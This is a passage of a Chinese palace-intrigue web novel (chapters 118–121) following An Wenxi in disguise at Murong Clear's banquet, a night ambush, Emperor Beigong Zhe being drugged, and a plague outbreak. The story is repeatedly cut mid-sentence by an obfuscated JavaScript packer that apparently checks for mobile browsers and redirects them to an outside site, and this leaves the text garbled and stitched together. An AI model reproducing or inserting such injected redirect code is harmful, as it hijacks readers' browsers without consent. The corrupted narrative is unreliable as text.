过了不久,欢凉看着袅袅的炊烟徐徐升起,心中一喜,立即撩开车帘,对安文夕道:“公主,有炊烟,那一定离庄子不远了。” 天色逐渐暗了下来,安文夕瞥了眼榻上的袭匀,对欢凉道:“加快速度。” 因为处在郊野,这里只是零散的分布了几户人家,马车行至最近的一处茅草屋前,欢凉勒住了缰绳,安文夕扶着袭匀下了马车。 “扣扣……”安文夕轻轻地扣着柴门,喊道,“这位大婶,由于我们想在此借宿一晚,不知可否方便。” 开门的妇人看了眼衣着光鲜的三人道:“这有什么不方便的,只怕你们嫌弃我们这房子又脏又破。” “怎么会呢,能有一处容身之所,我们已经感激不尽了。” “那你们赶紧进来吧,外面风太大。”妇人为他们引着路道。 因为那妇人的儿子儿媳回了娘家,所以就将他们的房间让给了安文夕他们,到了屋内,袭匀直接瘫软在了椅子上。 “这位公子,想必你们还没有吃饭,不如过来一起吃点东西吧。”妇人脸上挂着和蔼的笑。 “这位大婶,麻烦你给我点盐。” 那妇人虽然诧异,但还是笑盈盈道:“公子等着,我这就给你取来。” 安文夕为袭匀喂了点盐水,然后和欢凉搀着他一同去用膳。 安文夕扫了眼桌上的晚饭,简单的可以说是粗陋。 桌上一位老实巴交的大叔不好意思的笑了笑,“几位公子,你们别见怪,沐阳城内正在打仗,我们只好在附近挖些野菜,现在春天还未到,野菜比较少,所以就简单了点……” “大叔大婶,你们都太客气了。”欢凉说道,他们本就是打算在这里借宿一宿而已。 “大婶,此处离沐阳还有多远?” 妇人惊道:“几位公子要去沐阳?” 安文夕略略点头。 妇人立即劝道:“我劝几位公子还是不要去的好,如今沐阳城正在打仗,那北襄的兴帝正在征兵,我那儿子就是为了躲避征兵才和儿媳回了娘家。” “征兵?” “那兴帝手段残忍,但凡被征的新兵,没有一个能活着活来的。”大叔叹了口气。 “什么兴帝,那就是乱臣贼子!”妇人咬牙道。 “你小声点,瞎说什么呢!”一旁的大叔瞪了眼大婶。 乱臣贼子? 安文夕嘴角微微绽开了抹讥笑,“那大夏新帝不也是盗取他国江山的乱臣贼子么?” “这位公子,这种大逆不道的话可是要杀头的。”妇人小声道。 “夏皇以前是被一个什么瑾淑妃的妖姬给迷了心智才会荒淫,好在如今那瑾淑妃被赐**,现在的皇上倒是位好皇帝。” 那妇人点点头又补充道:“自皇上登基之后,轻摇薄疫,减轻了我们百姓的负担,是位好皇帝。” “呵……”他是位好皇帝?踩着别人尸骨上位的**也是好皇帝么? 袭匀稍稍恢复了些力气,听到大叔那句话,不禁嗤笑一声,传音入密对安文夕道:“小师妹,原来在百姓眼里,你就是那祸国妖姬……” 安文夕冰冷大哥眼风朝袭匀砸去,说道:“好好吃你的吧!” “若是你们执意要去沐阳的话,一定要多加小心,从这里到沐阳最多两个时辰。”妇人嘱咐了一句,然后舀了点稀粥,走进内室。 “里面还有人,怎么不说来一起吃饭?”袭匀问道。 “我爹常年患病卧床,不方便走动,尤其是这几日来连肢节都痛了起来,更加下不了床了。” “肢节痛?” “不禁肢节痛,头目也痛,喉咙干痛不止,只怕病情又加重了。”大叔叹了口气。 安文夕打量了眼这家徒四壁的茅草房,只怕是这户人家也没钱就医吧。而如今沐阳又起了战火,无疑是雪上加霜。 第二日天刚蒙蒙亮时,安文夕便已经出发了。 临走之前,她在桌上放了一锭银子,希望可以帮助这户人家解决燃眉之急。 袭匀身子稍好了一些,就被欢凉赶到外面赶车,他絮絮叨叨的说了一路,在临近午时之时,终于到了沐阳。 匆匆用过了午膳,就赶去了清月客栈和安景晟汇合。 “扣扣……” “晟哥哥。” “夕儿进来吧。” 安文夕推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392781|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门,看到香韵公主正在给安景晟上药,不禁惊道:“晟哥哥,你怎么了?” “没什么大事,不过是来的路上遇到了点小麻烦。” 小麻烦?能伤得了他的麻烦还会小么? “谁做的?” 安景晟眸光深沉,一边穿上衣服一边道:“还在查。” “夕儿,慕容清得知你我到了沐阳,特设了晚宴招待你我。” “晚宴,只怕是场鸿门宴吧。” “就算是鸿门宴也得去,你先休息休息,然后准备一下,到了申时一起出发。” “阿晟……”香韵公主担心的看了眼安景晟道,“此去凶多吉少,你受了内伤,我怕……” 安景晟握住她的手道:“香儿,不用担心我。” “晟哥哥,不如这样吧,你留在这里,我去。” “这怎么可以,万一让慕容清发现你的身份就糟了!”安景晟眸光一黯。 “晟哥哥,你有伤在身,万一被慕容清发觉了,事情才棘手,况且,慕容清他困不住我。” “阿晟,夕儿说的有道理,若是你们同去,万一被慕容清同时……” “晟哥哥,这件事就这么定了,我希望你谨慎考虑一下和慕容清结盟这件事。” 慕容清不易招惹,等他和北宫喆斗个你死我活,他们坐收渔利,难道不好么,为何非得去趟这趟浑水? 安文夕看了眼安景晟,然后垂下了眼睑,希望晟哥哥不要让她失望,她这句是对安景晟说,更是对她自己说。 “既然如此,欢凉和袭匀好好保护夕儿。” 袭匀在心里冷哼,这还用你说么? 到了房间之后,安文夕便开始收拾东西,仔细检查随身携带的物品。 欢凉看着她忙碌的身影,一时有些欲言又止。 袭匀慵懒的翘着二郎腿对欢凉道:“丫头,有话就说,别憋着。” 欢凉抿了抿唇道:“公主……” 安文夕手中的动作一顿,“欢凉,你若是想说晟哥哥的话,就不必说了。王叔那件事,永远是我对不起他,他想要的,我都会尽全力助他。” “公主,怎么是你对不起他呢,睿王病重,他在哪里?他在南昭舒舒服服的做他的驸马爷,而您却被北宫喆囚在宫里,不禁有后宫一众嫔妃要对付,还有江向晚,曹太后……” “够了,欢凉,晟哥哥不能及时赶到,他是有原因的。” “原因?公主,您告诉欢凉,晟世子能有什么原因?” “他……”安文夕一顿,竟然想不出具体的原由来。 “那时时机还不成熟,他若是来到大夏,会有风险,你明白么欢凉。” 欢凉蓦地笑了,“公主,欢凉明白,希望这个理由也能说服你自己。” 安文夕神情突然一滞,这个理由能说服她自己么? 可是,晟哥哥已经是她这个世上唯一的亲人了!前世她是孤儿,无比渴望能拥有一个家,有爸妈疼爱,可惜没有。这一世,她一出生便有了一切,她怎么能眼睁睁的看着她的亲人一个个离她而去? “欢凉,别说了,赶紧收拾一下,一会就要动身了。”袭匀看了眼欢凉站起了身子。 第118章 处处算计 第一百一十八章处处算计 慕容清在沐阳称帝之后,占沐阳为城,改为青华宫。短短十日之内,就在沐阳城外筑起了一道高三丈有余的城墙。 安文夕远远地看着那道高耸的城墙,微眯了杏目,行至跟前,才发现有人早早的等在了那里,看见她来,忙行了一礼道:“这位就是凤公子吧,属下在这里等候多时了,请随我来。”那人说着引着她向城内走去。 青华宫内,五步一楼,十步一阁,亭台水榭,风景精致不俗,这慕容清倒是选了块好地方。 “皇上,凤公子来了,只有他一人。” 慕容清抬眸,“哦,安景晟没来么?” 秋月微微点头。 “让他进来吧。” 安文夕一步步踏进巍峨的宫殿,迎着慕容清高傲的目光,不卑不亢的微微颔首,“在下参见皇……上。” 欢凉和袭匀也同她一起行礼道:“参见皇上。”虽然表面毕恭毕敬,但是二人在心里都不禁撇了撇嘴。 安文夕第一次觉得皇上二字拗口极了。 不管心中怎么想,但是在表面上,该有的礼仪却丝毫让人挑不出错来。 慕容清听着安文夕那句“皇上”觉得越发的顺耳,他应该早些称帝的! “秋月,为凤公子等人看座。”慕容清宽袖一摆,倒真有几分帝王的凌傲。 “据说晟世子回到了承安,这次也一同来了沐阳,为何今日只有凤公子一人来了呢?” “回皇上,晟哥哥再来的路上遇到了刺客,伤了我嫂嫂,如今晟哥哥抽不开身,所以就只有我一个人来了。不过,我来也是一样的。” “原来如此。”慕容清别有深意的看了眼安文夕,然后斜勾起了嘴角,“你们多多小心,这沐阳,如今可不太平!” “皇上,现在是否摆宴?”秋月立在慕容清身侧,恭敬问道。 “摆宴!” 慕容清话音一落,是几位侍女捧着宫廷菜肴鱼贯而入。 安文夕盯着桌案上的菜肴,白玉盘中佳肴泛着诱人的光泽,不禁菜肴皆是稀世难寻之物,就连那白玉盘都是选用了上好的白玉,而非白瓷,当真是奢侈无比,就是夏宫也及不上。 “凤公子一直盯着御膳,难道担心朕会下毒么?” “皇上说笑了。” 慕容清淡笑道:“知道凤公子前来,朕特意准备了一场歌舞助兴。” “啪啪——”随着慕容清的两声击掌,妙曼的舞姬扭动着迁徙的腰肢缓步踏进大殿,皆容貌姣好,眼神撩人,身材勾火,每走一步都媚到了骨子里。 大殿内的帷幔飘飘,灯火轻摇,青铜酒樽里的液体泛着迷离,这一幕,如幻如梦。 “世人皆传凤公子琴艺无双,而朕却从未听过,未免有些可惜了。” 慕容清话里的意思再明显不过,安文夕扫了眼殿内的舞姬,勾唇道:“这有何难,在下愿意为歌舞伴奏。” 取下七弦琴置于案上,素手拨起琴弦。 “凤公子这双手真是比女人还要细腻!”慕容清毫不忌讳的打量着安文夕放在琴弦上的手。 安文夕闻言心中顿时一惊,抬眸看向慕容清道:“若想弹好琴,首先要将这双手保养好。” “铮——”安文夕食指一挑,拨动了琴弦。 “起——”随着安文夕话音刚落,殿内的舞姬开始踩着琴音扭动了腰肢。 慕容清举着酒樽,摇晃着酒樽里的液体,目光在舞姬和安文夕之间流连,嘴角挂着丝玩味的笑。 这些舞姬身上本就穿着薄如蝉翼的轻纱,这会随着她们的旋转,玉腿纤腰欲遮还羞,大胆摄魂的眼神不禁让人血脉贲张。 欢凉有些不好意思的垂下了头,这些舞姬比凤青轩的姑娘们大胆多了! 慕容清眼尾微挑,有些舞姬大着胆子踱着舞步,慢慢靠近安文夕。 正在琴弦上游走的葱白玉手蓦地一滞,杏目瞬间清澈如泓,慕容清的意思很明了,他是想趁机送给她几个舞姬,这也未免太侮辱她了! 安文夕专心奏琴,不躲不避,这无疑是给这几个舞姬一个信号,她们的举止更加放肆了起来,甚至有的舞姬从安文夕身后绕至身前,藕臂紧紧攀上安文夕的肩膀,柔若无骨的小手往安文夕的胸前探去。 欢凉和袭匀皆是一惊,若是这舞姬的手再往前一点,小师妹的身份就暴露了! 欢凉不动声色的握紧了手中的剑,大不了就杀出去! 安文夕的瞥了眼慕容清嘴角的笑意,心顿时一沉,难道他发现了她的身份了,这几番试探? 安文夕指尖在琴弦上更快地拨动起来,琴声一声急过一声。 “啊!”下一瞬,攀在安文夕身上的舞女发出了一声凄厉的惨叫,整个人都被掀飞,重重的跌落在了慕容清的脚前。 慕容清嘴角的笑意顿时凝固,手中握着的酒樽不禁洒出了几滴液体。 安文夕这一行为无疑是狠狠的打了慕容清的脸,她从来就不是善茬,怪只怪慕容清太过狂妄,三番五次的挑衅! 袭匀嘴角微勾,传音入密对安文夕道:“小师妹,好样的,就应该直接甩到慕容清的脸上。” 安文夕淡淡的勾起了唇,四指齐齐划过琴弦,发出急切地带着苍劲之力的峥嵘之声。 秋月立即上前,探了探这个舞女的脉搏,沉声道:“心脉受损。” 围在安文夕身侧的其他舞女不由得退后几步,有些惊恐的看向安文夕,她们甚至都没有看见她如何出手,若是刚才是她们其中一个举止更为放荡一点,那么,此时躺在那里的岂不是…… 慕容清目光一沉,盛了淡淡冰霜,看向安文夕,厉声道:“不知凤公子这是何意?” “皇上,对不住了,在下弹琴时,素来不喜人靠近,故而在青楼楚馆之时,专门为我设置了琴阁高台。” 慕容清脸色一变,握着酒樽的手指变得卡白。 只听安文夕又道:“以前,但凡有人触碰到在下的衣角,皆被琴音所震,七孔流血而亡!” 安文夕话音刚落,慕容清手里的酒樽顿时被捏成了碎片,冷声道:“都给朕滚下去,在这里碍了凤公子的眼!” 剩下的舞女皆跌跌撞撞的步出了大殿,脸上惊恐一片,再也走不出刚进殿时的风情万种了。 安文夕不以为意的端起了青瓷盏,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那得看看皇上的诚意了,在下希望不要再出现元宵节那样的事了。”不要次次都想着拿别人当做垫脚石! 慕容清听完脸色丨微变,握着酒樽的手蓦地一顿,双眸内寒意渐盛。 “皇上,您说是不是?”安文夕笑意浅浅,却偏偏给人一种压迫之感。 “凤公子此言有理。”慕容清有些咬牙切齿道。 安文夕抽出擦了擦唇角,对慕容清道:“皇上,时辰不早了,我们就不打扰了。” 欢凉有些如释重负的和袭匀一左一右的立在安文夕身侧。 “且慢,如今天色已晚,朕早已经为各位准备好了房间,不如今晚就在这里休息。” “皇上的美意在下心领了,不敢叨扰,告辞。” 安文夕刚迈出了脚步,大殿门口的侍卫便揽住了安文夕的去路。 安文夕顿时拧眉,看向慕容清道:“不知皇上这是何意?” “朕念及凤公子初来沐阳,想多留凤公子几日。” 呵……他想软禁她不成? 第119章 起了心思 第一百一十九章起了心思 “皇上,沐阳一战,你我兴兵共同对付北宫喆一事,在下需和晟哥哥商议,您觉得呢?” 他若是不放她走,他们也就算是彻底撕破脸皮,结盟作废,那他也就别妄想他们会帮他一起对付北宫喆。 “送凤公子。” 待安文夕走后,慕容清眸光深沉,对着身后的秋月使了个眼色。 “属下明白。”秋月抱拳出了大殿。 凤轻歌,朕折了你的翅膀,看看你是否还会这么狂傲! 此时已经接近亥时,外面夜色凉如水,安文夕加快了脚步,眼角扫了眼四周,低声对欢凉和袭匀道:“有尾巴,快走!” 欢凉和袭匀立即明白,慕容清这是明着放行,暗里就派人将他们抓回去,卑鄙! 安文夕和他们二人交换了个视线,至少在这青华宫里,后面的尾巴不会动手,到了青华宫宫门口,三人身形一闪,分别朝三个方向而去,等到身后的那人回过神来,三人早就没有了身影。 “该死!”那人低斥一声,提身追了上去。 衣袂飘飞,足尖轻点,安文夕身姿一掠,对欢凉和袭匀道:“换个方向,不要将人引到客栈。” “小师妹,师兄明白。”袭匀剑锋一挑,扬起一阵尘土,隔断了身后的视线。 夜色如墨,残月高悬。 前方的树枝一动,轻微的响动须臾之间湮灭在寂静的夜色中。 男子一把抽出长剑,从上方跃下,逆着夜色而来。 “等候多时了!” 面前一寒,安文夕下意识地避开了身子,抬眸看去,不禁惊在了原地,这提剑而来的不正是本应该死在睿王府火海中的李管家么? 他没死,那么王叔去世就是一场密谋了! 安文夕脑海中顿时有零碎的东西拼凑在了一起,慕容清他杀了王叔,然后嫁祸给了北宫喆,好让他们和北宫喆斗个你死我活! 安文夕眼底泛出恨意,她竟然被慕容清蒙骗了这么久! 她直直后退,眼底的余光看向欢凉,显然她也认出了李管家,她朝欢凉递了个眼神,和她一起慢慢朝他逼近,手中的长剑寒光乍现。 二人眼中的杀意令李管家心中一颤,这招招致命的狠戾逼得他节节后退。 “剩下的交给你了!”欢凉瞥了眼袭匀。 “一个不留!”安文夕眼底的狠戾更盛。 纵身而起,身子顿时轻如鸿雁,身体内仿佛蕴藏着源源不断的力量,内力精湛纯粹,握着长剑的右手蓄满了内力,翻飞的长剑划开漆黑的夜色破空而来,决绝的刺过李管家的手臂,然后一把挑开他手中的剑,抬脚将他踢飞。 安文夕握紧了手中的长剑,眸光凌然,她的内力全部回来了么? “嚯——”不待他反应,安文夕手中的长剑抵在了李管家的喉咙处。 李管家扫了眼紧贴着脖子处大动脉的剑锋,眼底蓦地闪过一抹阴狠,提脚踢向安文夕,随即利爪攻向她的面门。 安文夕狠狠的踩住李管家的双腿,抬手抓住李管家的胳膊,狠狠一扭,将他整条胳膊卸了下来,抬脚踢向他的穴道,嘴角勾起一抹讥笑,“声东击西,这招可不高明。” 李管家痛的龇牙咧嘴,可是身子却动不了分毫,只能恶狠狠地盯着安文夕,恨不得将其生津剥骨。 “封了你的穴道,防止你**。有时候,活着比**更痛苦,是不是,李管家!”安文夕最后三个字用了唇形,而没有发出声音。 李管家看清了安文夕的唇形,双目微睁,看着她如白玉般的清润的面庞,脸上慢慢浮现惊恐来。 “别玩了,给他们个痛快!”欢凉眉宇之间充斥着煞气,对袭匀道。 袭匀手起刀落,招招凌厉,长剑划过,抛出了一道道殷红的血线,宁静的郊野顿时变成了修罗场。 欢凉看着地上尚未冷却的尸体,不由得冷哼道:“就这样的货色,也想拦住我们?” “这才叫打架,过瘾!”袭匀甩起剑尾的血珠,利索的收了长剑。然后扯过腰间的小瓷瓶往地上的尸体上倒去,不消片刻,地上的尸体全部化作了一滩血水,渗入地下。除却空气中淡淡的血腥味,此处像是什么也没有发生过一般。 “走!”安文夕将地上的李管家直接扔给了袭匀。 袭匀将李管家拖了起来,一阵叫苦不迭,为什么力气活总是他的? 到了清月客栈,袭匀气呼呼的一把将李管家扔到地上,安文夕一把扯开他的的衣袖,墨色的飞羽图案赫然出现在了安文夕的眼前。安文夕眸光微凝,抬手摸向李管家的下巴处,根本没有戴**,想必这又是换脸了! 那么,九华殿刺杀,冒充秋水和无涯一事也是慕容清干的了。只是,慕容清又怎么会知道无涯和秋水? 安文夕抬手解了李管家的哑穴,李管家惊悚的看着安文夕道:“你,你是瑾淑妃?” “你倒是不傻。”安文夕这一声恢复了女声。 “没想到慕容清会留你活到现在。” 李管家闻言眸光顿时一黯,沉声道:“你,到底想做什么?” “你杀了我王叔,你说我想做什么?” “那都是皇上让我做的,冤有头债有主,你要报仇也该找他去。” “我呸,还皇上,真不要脸。”袭匀低唾道。 安文夕眸光一敛,“那毒是你亲手下的!欢凉,你去叫晟哥哥来。” 安景晟来了之后,安文夕将九华殿刺杀一事和睿王**去世一事全部告诉了他,对此,李管家供认不讳,安景晟眸光阴沉,一掌直接了解了李管家。 速度快至安文夕根本来不及阻止,“晟哥哥,你怎么杀了他,我觉得还可以从他嘴里问出来点东西。” 安景晟额头上青筋毕露,握拳道:“这个狗奴才杀了我父王,我恨不得生剐了他!至于慕容清,就算不从这狗奴才嘴里得到什么消息,我也一样对付的了。” “晟哥哥,接下来你打算怎么做?” “发兵慕容清,取他项上人头!”安景晟咬牙道。 “晟哥哥……” “夕儿,此事绝无异议。” “晟哥哥,我们现在当务之急便是赶紧离开这里,想必慕容清已经追来了!” 安景晟眸光微动,扫了眼李管家的尸体道:“好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是换了第二个人,只怕他现在早已经连人带汤都一起扔出去了。 江向晚脸色一僵,然后再次舀了一勺,“喆,你就看在我那么辛苦的份上,再喝几口。” 此时她的手心濡湿一片,握着勺子的手有些微颤。 “晚儿,你身子不好,早些下去休息吧。” “我自己的身体我自己清楚,我没事的,就让我在这里陪你一会,我肯定不会打扰你的。” 北宫喆脑子有些微沉,握起了朱笔,看着奏折,渐渐觉得眼睛有些模糊,刚一抬眸,就看到不远处女子正笑意晏晏的看着他。 北宫喆不敢置信的睁开了眼睛,猛地站起了身子,颤声道:“夕儿,是你么?” 江向晚噙着的笑意顿时僵在了嘴角,他叫的是夕儿,不是她! 在她愣神之际,北宫喆已经走过来一把抱住了她,霸道的力道让她不容反抗,江向晚心中一惊,难道这么快药效就起作用了? 第120章 你没资格 第一百二十章你没资格 北宫喆感觉小腹处升起一阵热浪,双目迷离沉醉,一把将江向晚扔到龙榻上,欺身而上,将头埋在她的发间低喃,“夕儿,夕儿……” 江向晚死死地咬着唇,闻着他身上清凉的香气,脸色嫣红一片,紧张的手心出了一层细汗,期待着他的下一步动作。 此时,她已经不在乎他是不是将她当做了安文夕,她只希望她可以拥有他。 江向晚克服心中的羞怯,两只小手覆到北宫喆胸前,有些迫不及待的去脱他的衣服。 突然有只大手一把捉住了她的小手。 江向晚蓦地一惊,被他发现了么? 不可能的,曹太后给她的药药性极强,惑人心智,沾之即醉。他不可能能从中醒过来! “晚儿,你怎么在这里?”北宫喆原本游离的双目刹那间清明。 江向晚浑身一震,有些不可置信的看着脸色一寸寸冷下去北宫喆。 “喆,我……”江向晚瞬间脸色涨得通红,这样羞耻的问题要她怎样回答? 北宫喆黑瞳一凛,冷道:“你知道对朕下药的后果么?” “喆……” “下去!”北宫喆强忍着没有将她从床上甩下去的冲动,转身翻下了龙榻。 “喆,你不能这么对我。”江向晚眼眶发红,眼底噙着一抹凄凉。 她抛却一切羞耻,却换来被他厌弃的结果呢,这对她而言,未免太残酷! “这龙榻,你没资格!” 江向晚蓦地一震,不可置信的对上北宫喆冰冷的视线,凄然一笑,“我没资格?那谁有资格,安文夕么?喆,你别忘了,你那日千抬为聘,我将会成为你唯一的皇后,我比谁都有资格!” “晚儿,不要逼朕。”北宫喆极力压制着不断席卷而来的欲望和迷醉。 江向晚从榻上一步步走下来,眼中流下两抹晶莹,嘶哑着嗓子道:“是你在逼我。”是他逼着她用这种办法对他。 北宫喆看着脸色黯然的江向晚,眼底划过一抹失望,对殿外厉声道:“张海!” 张海捧着拂尘,立即跌得撞撞奔了进来,看到里面这幅景象,立即吓得低下了头。 “送江小姐回府!” 北宫喆说完,撩开步子,大步走向后面的寒冰池。 “喆……”江向晚急急地追了上去,她已经将自己的尊严送到了他的手中,却被他狠狠地踩在了脚下,现在已经没有回头路了。 她一把从后面抱住了北宫喆,轻啜道:“喆,你给我个机会好么?” 北宫喆顾及她身体不好,握了握拳,慢慢挣脱了她的禁锢,厉声道:“张海,你是死的么!” 然后大步走向寒冰池,连摇曳的衣摆都带出了几分冷意。 北宫喆甚至连衣服都没有来的及脱,直接跳下了寒冰池,砸出了一片水花,寒入骨髓的池水消释了他小腹处一步步攀升的**。 北宫喆抬手封住了自己的穴道,整个瘫软在了寒冰池内。 刚才就差一点,他的血液就要涌进脑门,冲出血脉,七孔流血! 北宫喆微微闭上了眼睛,江向晚的眉眼越发的模糊了起来。 “九哥哥!” 突然一抹红衣闪进他的脑海,北宫喆倏地睁开了双眼,泡在寒冰池内的身体已经冰凉刺骨,就连睫毛处都结了一层冰霜。 北宫喆提身跃出寒冰池,外面天色已然发白。 三日后,一道百里加急的折子被递进了夏宫,北宫喆目光落到“瘟疫”二字之时,双眸内刹那间沁了寒霜,当即,将手中的折子碾成齑粉。 “三军听令,随朕征讨沐阳!” 这个年轻的帝王从暗处走来,浑身布满冷煞,身姿决绝如神抵。 北宫喆带领三军刚走,惊魂就匆匆赶回了承安。 自从发生了那晚的事情之后,江向晚再也么有进宫,一直待在左相府中养身子。 惊魂带着雪上冰莲一路直奔左相府,他知道,晚儿的身子耽搁不起了。 江向晚看着惊魂一脸的疲倦,横生的青渣,眼底闪过一抹复杂。听说他自从喆向她提了亲之后,就开始颓废不起了,没想到如今成了这个样子。 待看到惊魂手中的的雪上冰莲,江向晚微微惊讶道:“这是喆让你给我送来的?” 惊魂蓦地一愣,这的确是皇上让他去幽冥山取回来的。 他动了动干涸皲裂的嘴唇道:“是。”只有一个音节,却嘶哑的厉害。 江向晚结果惊魂手中的雪上冰莲,脸上绽开一抹明媚的笑容,“喆他果然还是记着我的。”那日他一定恼了她用那样的方法,他现在心里还有安文夕,她不能那么急切,不能将他逼得太紧,她应该慢慢的将安文夕赶出喆的记忆。 惊魂看着浅笑的江向晚心中一涩,她心里念得只有皇上,而一点都看不到他的真心。 承安距幽冥山千里之远,他快马加鞭奔波了足足两天两夜到了幽冥山,花了一日的时间在幽冥山下寻找雪上冰莲,然后又马不停蹄的跑了两天两夜,才到了承安。一路上,连马都跑**四五匹。几天几夜都没有合眼让他的身子急剧透支,脑袋也有些发沉。 看着惊魂落寞的神情,江向晚心中微扯,咬了咬唇,“惊魂,要不要先坐下来喝杯茶?” “不必了,你,你赶紧将雪上冰莲服了吧,我这就告辞了。” “不如我和你一起吧。”江向晚迎着惊魂微微疑惑的目光道,“我去宫里找喆。” “皇上御驾亲征,已经出发前往了沐阳,你不知道么?” “什么?他去了沐阳?”为什么不带她去,以前不论多少血风腥雨,都是他们一起走过来的,这次怎么可以不带她去。 “晚儿,你身子不好,皇上一定想让你在府中多多休息。”惊魂劝道。 江向晚抿了抿唇,“我知道了,惊魂,我希望你赶紧振作起来,如今慕容清**,沐阳正在交战,你应该上阵杀敌,而不是沉溺在儿女私情之中,你明白么?” 惊魂一滞,然后缓缓点头,步出了左相府。 济州,毗邻沐阳,如今瘟疫已经泛滥成灾。瘟病本来多发于夏季,而今却是初春的季节,没想到却突然来了一场瘟疫,且传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然,安文夕蓦地停住了脚步,俯身下来道:“大叔,大婶她?”她看了眼躺在蒲草上的妇人。 这对夫妻正是她那晚借宿的那户人家。 大叔认出了她,满脸凄色,“公子,我家娘子她……” “大叔,你们怎么在济州?” “那日我用公子留下的银子去给我爹看病,结果那大夫说是染上了瘟病,看不好。果然,过了两日,我爹就去世了,谁知被人得知我家有人染了瘟病,就将我们赶到了济州来。到了济州当日,我娘子她就开始不舒服了……” “走走,赶紧走,老子不是说了不许待着这里么!”这时,一群官兵模样的人冲撞了过来。 “一群要死不死的贱民,晦气!” “大人不是说了全部移到城南的民宅区么,再呆在城内,全部烧死,一个不留!” 城南民宅区,那可是贫民窑! “官爷,小的这就走,请您多宽限几个时辰。”刚才的大叔以及请求道。 “少罗嗦,赶紧走,不然老子这就送你上路!”为首的那人抽出了腰间的佩刀抵在了大叔的脖子处。 第121章 别来无恙 第一百二十一章别来无恙 “还有你,赶紧走,赶紧走!”那人欲过来推搡安文夕,欢凉一把抓住那人的手往前一拉,再往后一掼,然后将他一脚踢开。 “哎呦——”那人吃痛,提起刀就朝欢凉刺来,却被欢凉再次毫不留情的扔开。 “兄弟们上,敢在太岁头上动土,不给他点教训他都不知道马王爷有几只眼睛!” 安文夕眸光一敛,这些个官兵真是欺人太甚,正欲动手,身后传来一阵急迫的马蹄声,安文夕蓦然回首,只见马上的男子面容清绝冷峻,神情高贵无双,月白锦袍彰显别样的贵不可攀,身后玄色披风猎猎挡风。 众人皆齐齐看来,连刚才的那些官兵一时都忘记了动手。男子身上浑然天成的压迫感令人不敢与其对视,众人视线擦过他滚着金丝银边的衣摆,只觉贵为神祇。 那人一把勒住了缰绳,对安文夕略略抱拳,“凤公子,几日不见,别来无恙!” 安文夕对上那双微微含着冷意却已经被她刻进骨子中的双眸,半晌淡吐出几个字来,“别来无恙。” 北宫喆扫了眼她冷冷勾唇,“凤公子真是好雅致,不好好地在青楼楚馆抚琴,却来到了这里,是嫌自己命太大么?” “这个不必你操心。”安文夕睥着他蓦然转身。 刚才的官兵已经从刚才的震撼中反应过来,趁着安文夕不备,想伸手抓住她的双臂将她扔开。 北宫喆眸色一凛,从马上一跃而下,揽住安文夕的柳腰再次翩然落在马背上。 而刚才围在安文夕身侧的官兵全部被掀翻在地,此时正痛苦的哀嚎。 这一幕只发生在一瞬之间,待安文夕反应过来已经被北宫喆紧紧禁锢在了马背上,他的手此时正贴在她的腰间。 “皇上,你这是做什么,放我下来!”安文夕咬牙对身后的人道。 北宫喆沉着一张脸,臂弯将安文夕牢牢地锁在胸前,双腿猛地夹了下马腹,胯下的蹄血玉狮子如一道闪电一般奔了出去。 “公……公子……”欢凉急的一阵跺脚,公主被北宫喆带走了,万一被他识破了身份,这该如何是好?她咬了咬牙,折身回了客栈。 跟在北宫喆身后的青玄翻身下马,扯过腰间的令牌递到官兵的面前,冷道:“带我去见你们知府!” 为首的那人看见青玄手中金色令牌中上雕刻的墨色飞羽图案,吓得双腿发软,忙道:“大人,请随小的来。” 北宫喆将安文夕一直带到营帐前,下了马,直接拉着安文夕进了主营帐,霸道的没有一分道理。 安文夕想甩开他的手,结果根本是蚍蜉撼树,她咬牙怒道:“皇上请你放开我,不知皇上将我带到这里所为何事?” 她的语气中七分怒气,三分不耐。 这个人不由分说就将她带到了这里,简直是个疯子! 北宫喆松开她的手,看着她染了怒气的眉眼,“安文夕,你以为你能逃脱朕的手掌心,嗯?” 安文夕蓦地一滞,他果然点破了她的身份,从他在潇湘馆送她红豆时,他就开始试探她了! 她深吸一口气,看着北宫喆有些阴鸷的双眸道:“皇上,你认错人了吧,在下是凤轻歌。” “呵……”北宫喆嘴角轻扯,一把扣住他的下巴,直直的吻了上去。 “唔~”安文夕睫毛一颤,不可置信的盯着眼前北宫喆放大的俊颜。 她现在还戴着凤公子的**,他怎么……安文夕双手不断地往外推打着北宫喆,拼命的逃脱他的钳制,却偏偏无处可逃。 北宫喆霸道的撬开她的唇齿,感受着她久违的气息,攫取着她的美好,他的吻很深,恨不得将她揉进骨髓里。 “喆——”江向晚突然掀开帐帘,看见北宫喆捧着一个男子的脸吻得深沉,顿时呆在原地,连脸上的笑意都没有来得及收去。 “出去!”北宫喆怒斥道,卷起身后的披风将怀中的安文夕整个儿遮了起来。 